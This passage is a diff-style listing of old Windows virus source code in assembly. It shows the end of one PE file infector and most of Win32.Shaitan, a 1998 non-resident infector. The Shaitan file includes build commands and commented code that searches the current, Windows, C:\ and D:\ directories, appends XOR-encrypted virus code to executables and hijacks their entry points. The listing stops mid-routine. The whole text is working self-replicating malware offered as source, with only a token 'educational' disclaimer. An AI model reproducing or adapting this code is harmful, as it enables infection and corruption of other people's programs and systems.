lea eax, [ebp+FileFind]
|
||||
call [ebp+_FindNextFileA], dword ptr [ebp+FileFindHnd], eax
|
||||
or eax, eax
|
||||
jnz InfectNextFile
|
||||
|
||||
ExitInfector:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
db 0E9h ; jmp VirEnd (full displacement)
|
||||
HostFileEntryPoint:
|
||||
dd offset VirEnd - offset HostFileEntryPoint - 4
|
||||
|
||||
; Fix up resource
|
||||
; edi = base address of resource
|
||||
; edx = current shit
|
||||
; ebx = reloc amount
|
||||
FixupResource:
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
movzx ecx, [edx].res_NumNameEntry
|
||||
movzx eax, [edx].res_NumIDEntry
|
||||
add ecx, eax
|
||||
add edx, size RESOURCETABLE
|
||||
FixResourceLoop:
|
||||
; no need to mess with [edx].resent_ID
|
||||
; it's either an 31-bit integer or the top bit is set and it's a
|
||||
; relative displacement from the resource base address
|
||||
FixResourceIsID:
|
||||
mov eax, [edx].resent_Next
|
||||
or eax, eax
|
||||
js short FixResourceRecurse
|
||||
add [edi+eax], ebx ; Fix RVA
|
||||
jmp short FixResourceNext
|
||||
FixResourceRecurse:
|
||||
btc eax,31 ; kill top bit
|
||||
push edx ; save current position
|
||||
lea edx, [edi+eax] ; find pos of next res dir
|
||||
call FixupResource ; Recursively fix
|
||||
pop edx
|
||||
FixResourceNext:
|
||||
add edx, size RESOURCEENTRY
|
||||
loop FixResourceLoop
|
||||
pop edx
|
||||
pop ecx
|
||||
pop eax
|
||||
ret
|
||||
|
||||
|
||||
; From RVA calculate Physical offset
|
||||
; Enter
|
||||
; eax = RVA
|
||||
; esi = Start Of Memory mapped PE file.
|
||||
; Leave:
|
||||
; eax = Mem map Address
|
||||
RVA2Addr:
|
||||
push ebx
|
||||
push edx
|
||||
push ecx
|
||||
push esi
|
||||
push edi
|
||||
movzx edi, word ptr [esi+3Ch]
|
||||
add edi, esi
|
||||
movzx edx, [edi].SizeOfOptionalHeader
|
||||
movzx ecx, [edi].NumberOfSections
|
||||
lea edx, [edi+edx+18h] ; Start of Section table
|
||||
mov ebx, [edx].sec_VirtualAddress
|
||||
mov esi, [edx].sec_PointerToRawData
|
||||
SectionLoop1:
|
||||
cmp ebx, [edx].sec_VirtualAddress
|
||||
jae short SkipSecLoop1
|
||||
cmp eax, [edx].sec_VirtualAddress
|
||||
jb short SkipSecLoop1
|
||||
mov ebx, [edx].sec_VirtualAddress
|
||||
mov esi, [edx].sec_PointerToRawData
|
||||
SkipSecLoop1:
|
||||
add edx, size SECTION
|
||||
loop SectionLoop1
|
||||
sub eax, ebx
|
||||
add eax, esi
|
||||
pop edi
|
||||
pop esi
|
||||
add eax, esi
|
||||
pop ecx
|
||||
pop edx
|
||||
pop ebx
|
||||
ret
|
||||
|
||||
|
||||
VirEnd:
|
||||
call ExitProcess, 0
|
||||
end start
|
||||
|
||||
COMMENT ` ---------------------------------------------------------------- )=-
|
||||
-=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
|
||||
-=( ---------------------------------------------------------------------- ) `
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,923 @@
|
||||
;----------------------------------------------------------------------------
|
||||
; Win32.Shaitan (C)opyright 1998 The Shaitan [SLAM]
|
||||
;
|
||||
;
|
||||
; Win32.Shaitan is a non-resident infector of Windows 9x/NT/32s Portable
|
||||
; Executable (PE) files.
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
; When a file infected by Win32.Shaitan is executed, the virus looks up
|
||||
; the current process' Import table for the address of GetModuleHandle API
|
||||
; function. If located, the API function will be called to retrieve the base
|
||||
; address of KERNEL32.DLL. Otherwise, a hard-coded address (0xbff70000)
|
||||
; will be assumed. Next, using this address, the virus scans the Export Table
|
||||
; of KERNEL32.DLL for the address of the GetProcAddress API function. Finally
|
||||
; using this function the virus obtains addresses of all other API functions
|
||||
; it needs (e.g CreateFileA, FindFirstFileA etc). The virus searches for and
|
||||
; infects files in the following order:
|
||||
; - Current Directory
|
||||
; - Windows base directory
|
||||
; - Directories in C:\
|
||||
; - Directories in D:\ (after checking whether it's a CDROM drive)
|
||||
; The file encrypts its data using a simple xor operation with 0xFF as key.
|
||||
; Files are infected by appending the virus to the last section in the file
|
||||
; and increasing its size. The virus uses memory-mapped files to improve
|
||||
; performance. Infected files will grow by about 3k.
|
||||
;
|
||||
; Umm, that's about all folks! This is my first Win32 virus, so if something
|
||||
; doesnt work, well... maybe next time :) The code is heavily commented, so
|
||||
; it should be easy enough to follow (if you can't... dont ask me, i can't
|
||||
; really follow it either! ;)
|
||||
;
|
||||
; Disclaimer
|
||||
; ----------
|
||||
; THIS CODE IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE HELD
|
||||
; RESPONSIBLE FOR ANY DAMAGE CAUSED DUE TO USE, MISUSE OR INABILITY TO USE
|
||||
; THE SAME.
|
||||
;
|
||||
; To compile, use:
|
||||
; ----------------
|
||||
; tasm32 /ml /m5 shaitan.asm
|
||||
; tlink32 /c /Tpe /aa shaitan.obj, shaitan.exe, ,c:\tasm\lib\import32.lib
|
||||
; pewrsec shaitan.exe
|
||||
;
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
.386p
|
||||
.model flat
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Some equates to make our code more readable :)
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
L equ
|
||||
GENERIC_READ equ 80000000h
|
||||
GENERIC_WRITE equ 40000000h
|
||||
GENERIC_READ_WRITE equ GENERIC_READ or GENERIC_WRITE
|
||||
OPEN_EXISTING equ 00000003h
|
||||
FILE_SHARE_READ equ 00000001h
|
||||
FILE_ATTRIBUTE_NORMAL equ 00000080h
|
||||
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
|
||||
PAGE_READWRITE equ 00000004h
|
||||
PAGE_WRITECOPY equ 00000008h
|
||||
FILE_MAP_WRITE equ 00000002h
|
||||
FILE_BEGIN equ 00000000h
|
||||
DRIVE_CDROM equ 00000005h
|
||||
|
||||
MAX_INFECT equ 00000005h ; Max. files to infect
|
||||
; at one go...
|
||||
|
||||
FILETIME struc
|
||||
dwLowDateTime dd ?
|
||||
dwHighDateTime dd ?
|
||||
FILETIME ends
|
||||
|
||||
WIN32_FIND_DATA struc
|
||||
dwFileAttributes dd ?
|
||||
ftCreationTime FILETIME ?
|
||||
ftLastAccessTime FILETIME ?
|
||||
ftLastWriteTime FILETIME ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved0 dd ?
|
||||
dwReserved1 dd ?
|
||||
cFileName db 260 dup (?)
|
||||
cAlternateFileName db 14 dup (?)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
code_len equ v_end - v_start
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Functions imported by Generation-1 -
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
extrn GetModuleHandleA:PROC
|
||||
extrn ExitProcess:PROC
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Some dummy data for Generation-1 -
|
||||
;----------------------------------------------------------------------------
|
||||
.data
|
||||
dummy_data db "SLAM Roqs!"
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; CODE section -
|
||||
;----------------------------------------------------------------------------
|
||||
.code
|
||||
v_start:
|
||||
db 0b8h ; mov eax,xxxx where xxxx
|
||||
rva_eip dd 1000h ; is RVA of EIP (patched at
|
||||
; infection time)
|
||||
|
||||
call get_delta ; Call next instruction
|
||||
get_delta:
|
||||
pop ebp ; Pop out address from stack
|
||||
mov ebx,ebp ; Save it in EBX
|
||||
sub ebp,offset get_delta ; EBP = Delta pointer!
|
||||
|
||||
sub ebx,eax ; Deduct RVA of EIP
|
||||
sub ebx,0Ah ; EBX = Base address of module
|
||||
|
||||
push ebx ; Not really required, but...
|
||||
call crypt ; Decrypt virus data
|
||||
pop ebx ; Get saved EBX back
|
||||
|
||||
mov [module_base+ebp],ebx ; Save module base
|
||||
mov [kernel32+ebp],0bff70000h ; Umm... Default address
|
||||
; of KERNEL32.DLL (?)
|
||||
|
||||
; Now we try to retrieve the address of GetModuleHandleA from the current
|
||||
; process's Import table...
|
||||
get_GMHA:
|
||||
mov esi,[module_base+ebp] ; ESI = Base address of process.
|
||||
cmp word ptr [esi],'ZM' ; Is the base correctly assumed?.
|
||||
jne get_GPA ; No. Quit...
|
||||
|
||||
xor eax,eax ; EAX = 0
|
||||
mov ax, word ptr [esi+3ch] ; Get RVA of PE header.
|
||||
cmp ax,0 ; No pointer to PE offset?
|
||||
je get_GPA ; No. Can't continue...
|
||||
mov esi,eax ; ESI = RVA of PE offset
|
||||
add esi,[module_base+ebp] ; Convert RVA to VA.
|
||||
cmp word ptr [esi],'EP' ; Is the PE header there?.
|
||||
jne get_GPA ; Nope. Quit...
|
||||
|
||||
mov esi,[esi+80h] ; RVA of .idata section
|
||||
add esi,[module_base+ebp] ; ESI = Start of .idata section
|
||||
|
||||
; Now, find the IMAGE_IMPORT_DESCRIPTOR for KERNEL32.DLL imports
|
||||
mov eax,esi ; EAX = Start of .idata
|
||||
find_ik32:
|
||||
mov esi,eax ; ESI = First/next IMPORT_DESCRIPTOR.
|
||||
mov esi,[esi+0ch] ; RVA of imported module ASCIIZ string
|
||||
add esi,[module_base+ebp] ; RVA >> VA
|
||||
cmp [esi],'NREK' ; IMPORT_DESCRIPTOR for K32?
|
||||
je ik32_found ; Yes, we found it!
|
||||
add eax,14h ; EAX = Next IMPORT_DESCRIPTOR.
|
||||
jmp find_ik32 ; Loop till found...
|
||||
ik32_found:
|
||||
mov esi,eax ; ESI = K32 IMPORT_DESCRIPTOR.
|
||||
mov ebx,[esi+10h] ; Get RVA of IMAGE_THUNK_DATA array.
|
||||
add ebx,[module_base+ebp] ; RVA >> VA.
|
||||
cmp dword ptr [esi],0 ; NULL "OriginalFirstThunk" field?
|
||||
je get_GPA ; Yes, No hint-name table then :(
|
||||
mov esi,[esi] ; Pointer to pointer!
|
||||
add esi,[module_base+ebp] ; RVA >> VA
|
||||
mov edx,esi ;
|
||||
xor eax,eax ; Init EAX (for use as an index).
|
||||
|
||||
iAPI_loop:
|
||||
cmp dword ptr [edx],0 ; No more RVAs?
|
||||
je get_GPA ; Yes. Jump...
|
||||
cmp byte ptr [edx+3],80h ; Ordinal?
|
||||
je inc_ndx ; Yes. Skip...
|
||||
mov esi,[edx] ; " " " " "
|
||||
add esi,[module_base+ebp] ; " " " " "
|
||||
add esi,2 ; ESI = Start of ASCIIZ API name.
|
||||
mov ecx,GMH_string_len ; ECX = Length of string (API name).
|
||||
mov edi,offset GMH_string ; EDI = String to compare with.
|
||||
add edi,ebp ;
|
||||
compare:
|
||||
repe cmpsb ; Compare the 2 strings...
|
||||
cmp ecx,0 ; Match found?
|
||||
je API_found ; Yes! Jump...
|
||||
inc_ndx:
|
||||
inc eax ; No. Increment our index.
|
||||
add edx,4 ;
|
||||
jmp iAPI_loop ; Continue looping...
|
||||
API_found:
|
||||
shl eax,2 ; Multiply by 4.
|
||||
; We had saved VA of IMAGE_THUNK_DATA array in EBX. Remember?
|
||||
add eax,ebx ; Point to corresponding element.
|
||||
mov eax,[eax] ; EAX = API call address
|
||||
|
||||
mov ebx,offset k32_string ; Offset of "KERNEL32.DLL" string
|
||||
add ebx,ebp ; Adjust with delta
|
||||
push ebp ; Save our delta pointer
|
||||
push ebx ; Push parameter on the stack
|
||||
call eax ; Call GetModuleHandleA
|
||||
pop ebp ; Restore our delta pointer
|
||||
|
||||
mov [kernel32+ebp],eax ; Save address of KERNEL32.DLL
|
||||
|
||||
get_GPA:
|
||||
mov esi,[kernel32+ebp] ; Point ESI to K32 base address
|
||||
cmp word ptr [esi],'ZM' ; Is K32 really there?
|
||||
jne quit ; Nope. Bail out now!
|
||||
|
||||
xor eax,eax ; EAX = 0
|
||||
mov ax,word ptr [esi+3ch] ; Get RVA of PE header pointer.
|
||||
cmp ax,0 ; No pointer to PE offset?
|
||||
je quit ; No. Can't continue...
|
||||
mov esi,eax ; ESI = RVA of PE offset
|
||||
add esi,[kernel32+ebp] ; Convert RVA to VA.
|
||||
cmp word ptr [esi],'EP' ; Is the PE header there?
|
||||
jne quit ; Naw. Cannot continue...
|
||||
|
||||
mov eax,[esi+78h] ; PE hdr offset 78h points to .edata.
|
||||
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||||
xchg eax,esi ; Put VA back into ESI.
|
||||
|
||||
mov eax,[esi+14h] ; Get # of functions exported by K32
|
||||
mov [NumberOfFunctions+ebp],eax ; Save.
|
||||
|
||||
mov eax,[esi+1ch] ; RVA of table of exported function
|
||||
; addresses.
|
||||
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||||
mov [AddressOfFunctions+ebp],eax ; Save.
|
||||
|
||||
mov eax,[esi+20h] ; RVA of table containing API name
|
||||
; strings.
|
||||
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||||
mov [AddressOfNames+ebp],eax ; Save.
|
||||
|
||||
mov eax,[esi+24h] ; RVA of table of export ordinals of
|
||||
; all functions exported by name.
|
||||
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||||
mov [AddressOfOrdinals+ebp],eax ; Save.
|
||||
|
||||
xor eax,eax ; EAX = 0.
|
||||
mov ebx,[NumberOfFunctions+ebp] ; Use EBX as a counter.
|
||||
apisearch_loop:
|
||||
mov esi,offset GPA_string ; API function to search for...
|
||||
add esi,ebp ; Adjust with delta pointer...
|
||||
mov ecx,GPA_string_len ; Length of API function name string.
|
||||
mov edi,[AddressOfNames+ebp]; Point to start of table containing
|
||||
add edi,eax ; API function name strings...
|
||||
mov edi,[edi] ; " " " " "
|
||||
add edi,[kernel32+ebp] ; " " " " "
|
||||
cld ; Clear direction flag.
|
||||
repe cmpsb ; Compare the two strings.
|
||||
cmp ecx,0 ; Exact match found?.
|
||||
je match ; Yes! Jump...
|
||||
dec ebx ; Decrement our counter.
|
||||
cmp ebx,0 ; Have we gone thru entire table?.
|
||||
je quit ; Yes. API not found! Bail out...
|
||||
add eax,4 ; No. Lets compare the next string.
|
||||
jmp apisearch_loop ; Continue looping...
|
||||
match:
|
||||
shr eax,1 ; Divide by 2 (array is of WORDs).
|
||||
add eax,[AddressOfOrdinals+ebp] ; Point to relevant element in array.
|
||||
xor ebx,ebx ; EBX = 0.
|
||||
mov bx,word ptr [eax] ; Get our index into AddressOfFuncs.
|
||||
shl ebx,2 ; Multiply by 4 (array is of DWORDs).
|
||||
add ebx,[AddressOfFunctions+ebp]; Point to relevant element in array.
|
||||
mov eax,[ebx] ; EAX = RVA of API function address.
|
||||
add eax,[kernel32+ebp] ; EAX = Address of API function!!!
|
||||
|
||||
mov [_GetProcAddress+ebp],eax ; Save address...
|
||||
|
||||
; Now we retrieve the addresses of all API functions that we'll be using...
|
||||
Get_API_addresses:
|
||||
mov edi,offset API_strings ; Point to ASCIIZ string table
|
||||
add edi,ebp ; Adjust with delta pointer...
|
||||
|
||||
APIaddress_loop:
|
||||
push edi ; Save offset of ASCIIZ API name
|
||||
push edi ; Push onto stack for API call
|
||||
call GetAPIAddress ; Retrieve address of API function
|
||||
pop edi ; Restore address of ASCIIZ string
|
||||
push eax ; Save address of API function
|
||||
xor eax,eax ; EAX = 0
|
||||
repne scasb ; Search for end of string
|
||||
pop eax ; Restore address of API function
|
||||
mov [edi],eax ; Save it...
|
||||
add edi,4 ; Point to next ASCIIZ API string
|
||||
cmp [edi],'SLAM' ; Was that the last string?
|
||||
jne APIaddress_loop ; No. Loop till done...
|
||||
|
||||
push ebp ; Save delta pointer
|
||||
mov eax,offset start_dir ; Buffer to store directory name
|
||||
add eax,ebp ; Adjust with delta pointer
|
||||
push eax ; Push parameter on stack
|
||||
push L 128 ; Length of dirname buffer
|
||||
mov eax,[_GetCurrentDirectory+ebp] ; Address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
call InfectCurrentDirectory ; Infect files in starting directory
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||||
je restore_start_dir ; Yes. Quit...
|
||||
|
||||
push ebp ; Save delta
|
||||
push L 128 ; Length of dir buffer
|
||||
mov eax,offset win_dir ; Location of dir buffer
|
||||
add eax,ebp ; Adjust...
|
||||
push eax ; Push location of buffer
|
||||
mov eax,[_GetWindowsDirectory+ebp] ; API to call
|
||||
call eax ; Call API function
|
||||
pop ebp ; Restore delta
|
||||
mov eax,offset win_dir ; EAX = ASCIIZ windows dir name
|
||||
add eax,ebp ; Adjust...
|
||||
call SetDir ; Change directory to windows dir
|
||||
call InfectCurrentDirectory ; Infect files in it...
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||||
je restore_start_dir ; Yes. Quit...
|
||||
|
||||
mov eax,offset root_dir_c ; Infect all dirs in C:\
|
||||
add eax,ebp ; Adjust...
|
||||
call Search&InfectDirs ; Infect...
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||||
je restore_start_dir ; Yes. Quit...
|
||||
|
||||
push ebp ; Save delta
|
||||
mov eax,offset root_dir_d ; ASCIIZ D:\
|
||||
add eax,ebp ; Adjust with delta
|
||||
push eax ; Push onto stack
|
||||
mov eax,[_GetDriveType+ebp] ; API function to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
cmp eax,DRIVE_CDROM ; Is this a CDROM drive?
|
||||
je restore_start_dir ; Yes. Do not try to infect!
|
||||
cmp eax,0 ; Drive type undeterminable?
|
||||
je restore_start_dir ; Yes. Let's play it safe...
|
||||
|
||||
mov eax,offset root_dir_d ; Infect all dirs in D:\
|
||||
add eax,ebp ; Adjust...
|
||||
call Search&InfectDirs ; Infect...
|
||||
|
||||
restore_start_dir:
|
||||
mov eax,offset start_dir ; Name of starting directory
|
||||
add eax,ebp ; Adjust...
|
||||
call SetDir ; Set directory back to start dir
|
||||
|
||||
quit:
|
||||
push ebp ; Save delta pointer
|
||||
mov eax,[_GetCommandLine+ebp] ; Address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
mov edi,eax ; EDI = Address of cmdline
|
||||
inc edi ; Inc by one (skip the ")
|
||||
mov ecx,80h ; Search upto 80h bytes
|
||||
mov eax,'"' ; Search for "
|
||||
cmp byte ptr [edi-1],'"' ; Was the first byte a " ?
|
||||
je find_end_cmdline ; Yes. Continue...
|
||||
mov eax,' ' ; No. Look for a space then
|
||||
find_end_cmdline:
|
||||
repne scasb ; Search for end of string
|
||||
cmp dword ptr [edi-12],'IAHS' ; G-1? ("SHAITAN.EXE")
|
||||
je g1_quit ; Yup. Exit normally...
|
||||
|
||||
jump_to_host:
|
||||
mov eax,[module_base+ebp] ; Get module's base address
|
||||
add eax,[ori_ip+ebp] ; Add original EIP to it
|
||||
push eax ; Remember .COM infection? :)
|
||||
ret ; Jump to the original EIP!
|
||||
|
||||
g1_quit:
|
||||
xor eax,eax ; EAX = 0 = Return value
|
||||
push eax ; Push parameter on stack
|
||||
call ExitProcess ; Call API to quit
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; GetAPIAddress - Calls GetProcAddress to retrieve address of API function
|
||||
; pointed to by EDI.
|
||||
;
|
||||
; Return value: EAX = Address of API function
|
||||
;----------------------------------------------------------------------------
|
||||
GetAPIAddress:
|
||||
push ebp ; Save our delta pointer
|
||||
push edi ; EAX = ASCIIZ API string
|
||||
mov eax,[kernel32+ebp] ; KERNEL32 base address
|
||||
push eax ; " " " "
|
||||
mov eax,[_GetProcAddress+ebp] ; Address of API to call
|
||||
call eax ; Call API function
|
||||
pop ebp ; Restore delta pointer
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; SetDir - Sets current directory to string pointed to by EAX
|
||||
;----------------------------------------------------------------------------
|
||||
SetDir:
|
||||
push ebp ; Save delta pointer
|
||||
push eax ; Push parameter on stack
|
||||
mov eax,[_SetCurrentDirectory+ebp] ; Address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; InfectFile - Infects filename specified in "testfile" variable
|
||||
;
|
||||
; Return value: On success >> 1
|
||||
; On failure >> 0
|
||||
;----------------------------------------------------------------------------
|
||||
InfectFile:
|
||||
mov [infect_status+ebp],0 ; Init. flag
|
||||
|
||||
push ebp ; Save delta
|
||||
push [testfile+ebp] ; ASCIIZ filename
|
||||
mov eax,[_GetFileAttributes+ebp] ; API to call
|
||||
call eax ; Retrieve original attributes
|
||||
pop ebp ; Restore delta
|
||||
cmp eax,0ffffffffh ; Failure?
|
||||
je infect_end ; Yes. Cannot continue...
|
||||
mov [ori_attrib+ebp],eax ; Save original attributes
|
||||
|
||||
push ebp ; Save delta
|
||||
push FILE_ATTRIBUTE_NORMAL ; Remove all attributes
|
||||
push [testfile+ebp] ; ASCIIZ filename
|
||||
mov eax,[_SetFileAttributes+ebp] ; API to call
|
||||
call eax ; Remove read-only etc attrib
|
||||
pop ebp ; Restore delta
|
||||
cmp eax,0 ; Failure?
|
||||
je infect_end ; Yes. Cannot continue...
|
||||
|
||||
open_file:
|
||||
push ebp ; Save delta pointer
|
||||
push L 0 ; Template file (?)
|
||||
push FILE_ATTRIBUTE_NORMAL ; Attribute of file
|
||||
push OPEN_EXISTING ; Open an existing file
|
||||
push L 0 ; Security Attributes
|
||||
push FILE_SHARE_READ ; Share mode
|
||||
push GENERIC_READ_WRITE ; Access mode
|
||||
push [testfile+ebp] ; ASCIIZ Filename
|
||||
mov eax,[_CreateFileA+ebp] ; Address of API call
|
||||
call eax ; Call API to open file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,0FFFFFFFFh ; File open failed?
|
||||
je infect_end ; Yes. Cannot proceed...
|
||||
mov [file_handle+ebp],eax ; Save file handle
|
||||
|
||||
create_file_map:
|
||||
add [new_filesize+ebp],code_len + 400h ; Inc. by this many bytes
|
||||
|
||||
push ebp ; Save delta pointer
|
||||
push L 0 ; Name of mapping object
|
||||
push [new_filesize+ebp] ; Max size of mapping object
|
||||
push L 0 ; " " " "
|
||||
push PAGE_READWRITE ; Read/Write access
|
||||
push L 0 ; Security attributes
|
||||
push [file_handle+ebp] ; Handle of file to map
|
||||
mov eax,[_CreateFileMappingA+ebp] ; Address of API call
|
||||
call eax ; Call API to map file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,0 ; File mapping failed?
|
||||
je close_file ; Yes. Cannot proceed...
|
||||
mov [map_handle+ebp],eax ; Save mapping object handle
|
||||
|
||||
create_map_view:
|
||||
push ebp ; Save delta pointer
|
||||
push [new_filesize+ebp] ; No. of bytes to map
|
||||
push L 0 ; File offset (low)
|
||||
push L 0 ; File offset (high)
|
||||
push FILE_MAP_WRITE ; Read/Write access
|
||||
push [map_handle+ebp] ; Handle to mapping object
|
||||
mov eax,[_MapViewOfFile+ebp] ; Address of API call
|
||||
call eax ; Create a map file view
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,0 ; Couldn't create map file view?
|
||||
je close_map ; Yes. Cannot proceed...
|
||||
mov [view_address+ebp],eax ; Address of map view
|
||||
|
||||
fun_stuff:
|
||||
mov eax,[ori_ip+ebp] ; Get original EIP of host
|
||||
mov [temp_ip+ebp],eax ; Save it in a temp. variable
|
||||
|
||||
mov esi,[view_address+ebp] ; Get address of map view
|
||||
cmp word ptr [esi],'ZM' ; Is it an EXE file?
|
||||
jne close_view ; No. Cannot proceed...
|
||||
|
||||
cmp word ptr [esi+12h],'SW' ; Already infected?
|
||||
je close_view ; Yes. Quit...
|
||||
mov word ptr [esi+12h],'SW' ; Otherwise mark as infected
|
||||
|
||||
xor eax,eax ; EAX = 0
|
||||
mov ax,word ptr [esi+3ch] ; Get pointer to PE header
|
||||
cmp ax,0 ; No pointer to PE offset?
|
||||
je close_view ; No. Jump...
|
||||
cmp eax,[adj_filesize+ebp] ; Compare with actual filesize
|
||||
jae close_view ; Greater? (Happened once!)
|
||||
mov esi,eax ; ESI = RVA of PE ofset
|
||||
add esi,[view_address+ebp] ; Convert to VA
|
||||
cmp word ptr [esi],'EP' ; Is the PE header present?
|
||||
jne close_view ; No. Cannot proceed...
|
||||
mov [PE_hdr+ebp],esi ; Save VA of PE header
|
||||
; Now ESI contains address of PE header...
|
||||
mov eax,[esi+28h] ; Get original entry point RVA
|
||||
mov [ori_ip+ebp],eax ; Save it...
|
||||
mov eax,[esi+3ch] ; Get file align value
|
||||
mov [file_align+ebp],eax ; Save it...
|
||||
|
||||
mov ebx,[esi+74h] ; # of entries in IMG_DATA_DIR
|
||||
shl ebx,3 ; Multiply by 8
|
||||
xor eax,eax ; EAX = 0
|
||||
mov ax,word ptr [esi+6h] ; No. of sections in file
|
||||
dec eax ; Decrease by one
|
||||
mov ecx,28h ; Size of IMAGE_SECTION_HDR
|
||||
mul ecx ; Multiply...
|
||||
add esi,78h ; ESI = Addr. of IMG_DATA_DIR
|
||||
add esi,ebx ; ESI = Addr. of section table
|
||||
add esi,eax ; ESI = Addr. of last entry
|
||||
|
||||
; Now ESI is pointing to last entry in section table (usually .reloc)
|
||||
|
||||
; Modify the section characteristics flags... (+CEW)
|
||||
or dword ptr [esi+24h],00000020h ; Section now contains CODE
|
||||
or dword ptr [esi+24h],20000000h ; Section is now EXECUTABLE
|
||||
or dword ptr [esi+24h],80000000h ; Section is now WRITEABLE
|
||||
|
||||
mov eax,[esi+10h] ; Get SizeOfRawdata
|
||||
mov [ori_size_of_rawdata+ebp],eax ; Save it...
|
||||
|
||||
add dword ptr [esi+8h],code_len ; Inc size of VirtualSize
|
||||
|
||||
mov eax,[esi+8h] ; Get new size in EAX
|
||||
mov ecx,[file_align+ebp] ; ECX = File alignment
|
||||
div ecx ; Get remainder in EDX
|
||||
mov ecx,[file_align+ebp] ; ECX = File alignment
|
||||
sub ecx,edx ; No. of bytes to pad...
|
||||
mov [esi+10h],ecx ; " " " "
|
||||
mov eax,[esi+8h] ; Get current VirtualSize
|
||||
add eax,[esi+10h] ; EAX = SizeOfRawdata padded
|
||||
mov [esi+10h],eax ; Set new SizeOfRawdata
|
||||
mov [size_of_rawdata+ebp],eax ; Also, save it...
|
||||
|
||||
mov eax,[esi+0ch] ; Get VirtualAddress
|
||||
add eax,[esi+8h] ; Add VirtualSize
|
||||
sub eax,code_len ; Deduct size of virus
|
||||
mov [new_ip+ebp],eax ; EAX = New EIP! Save it...
|
||||
mov [rva_eip+ebp],eax ; Patch...
|
||||
|
||||
mov eax,[ori_size_of_rawdata+ebp] ; Original SizeOfRawdata
|
||||
mov ebx,[size_of_rawdata+ebp] ; New SizeOfRawdata
|
||||
sub ebx,eax ; Increase in size
|
||||
mov [inc_size_of_rawdata+ebp],ebx ; Save increase value...
|
||||
mov eax,[esi+14h] ; File offset of sec's rawdata
|
||||
add eax,[size_of_rawdata+ebp] ; Add size of new rawdata
|
||||
mov [new_filesize+ebp],eax ; EAX = New filesize! Save...
|
||||
mov [adj_filesize+ebp],eax ;
|
||||
|
||||
mov eax,[esi+14h] ; File offset of sec's rawdata
|
||||
add eax,[esi+8h] ; Add VirtualSize of section
|
||||
sub eax,code_len ; Deduct virus length from it
|
||||
add eax,[view_address+ebp] ; RVA >> VA (sorta)
|
||||
; Now EAX points to offset where we'll append the virus code...
|
||||
|
||||
push eax ; Save EAX
|
||||
mov byte ptr [key+ebp],0ffh ; Set encryption key to 0xFF
|
||||
call crypt ; Encrypt Vx data
|
||||
pop eax ; Restore EAX
|
||||
|
||||
mov edi,eax ; Location to copy to...
|
||||
mov esi,offset v_start ; Location to copy from...
|
||||
add esi,ebp ; Adjust with delta pointer
|
||||
mov ecx,code_len ; No. of bytes to copy
|
||||
rep movsb ; Copy all the bytes!
|
||||
|
||||
call crypt ; Decrypt Vx data
|
||||
|
||||
mov esi,[PE_hdr+ebp] ; ESI = Addr. of PE header
|
||||
mov eax,[new_ip+ebp] ; Get value of new EIP in EAX
|
||||
mov [esi+28h],eax ; Write it to the PE header
|
||||
mov eax,[inc_size_of_rawdata+ebp] ; Get inc. size of last section
|
||||
add [esi+50h],eax ; Add it to SizeOfImage
|
||||
|
||||
mov eax,[temp_ip+ebp] ; Get our saved host EIP
|
||||
mov [ori_ip+ebp],eax ; Restore...
|
||||
|
||||
mov [infect_status+ebp],1 ; Successful infection!
|
||||
|
||||
close_view:
|
||||
push ebp ; Save delta pointer
|
||||
push [view_address+ebp] ; Push view address on stack
|
||||
mov eax,[_UnmapViewOfFile+ebp] ; API to call
|
||||
call eax ; Call API to close view
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
close_map:
|
||||
push ebp ; Save delta pointer
|
||||
push [map_handle+ebp] ; Handle of mapping object
|
||||
mov eax,[_CloseHandle+ebp] ; Address of API call
|
||||
call eax ; Close mapping object
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
close_file:
|
||||
|
||||
truncate_file:
|
||||
push ebp ; Save delta pointer
|
||||
push FILE_BEGIN ; Move from start of file
|
||||
push L 0 ; Distance to move (high)
|
||||
push [adj_filesize+ebp] ; " " " "
|
||||
push [file_handle+ebp] ; Handle of file
|
||||
mov eax,[_SetFilePointer+ebp] ; API function to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
cmp eax,0ffffffffh ; Seek failed?
|
||||
je final_close ; Yes. Jump...
|
||||
|
||||
push ebp ; Save delta pointer
|
||||
push [file_handle+ebp] ; Handle of file to truncate
|
||||
mov eax,[_SetEndOfFile+ebp] ; API to call
|
||||
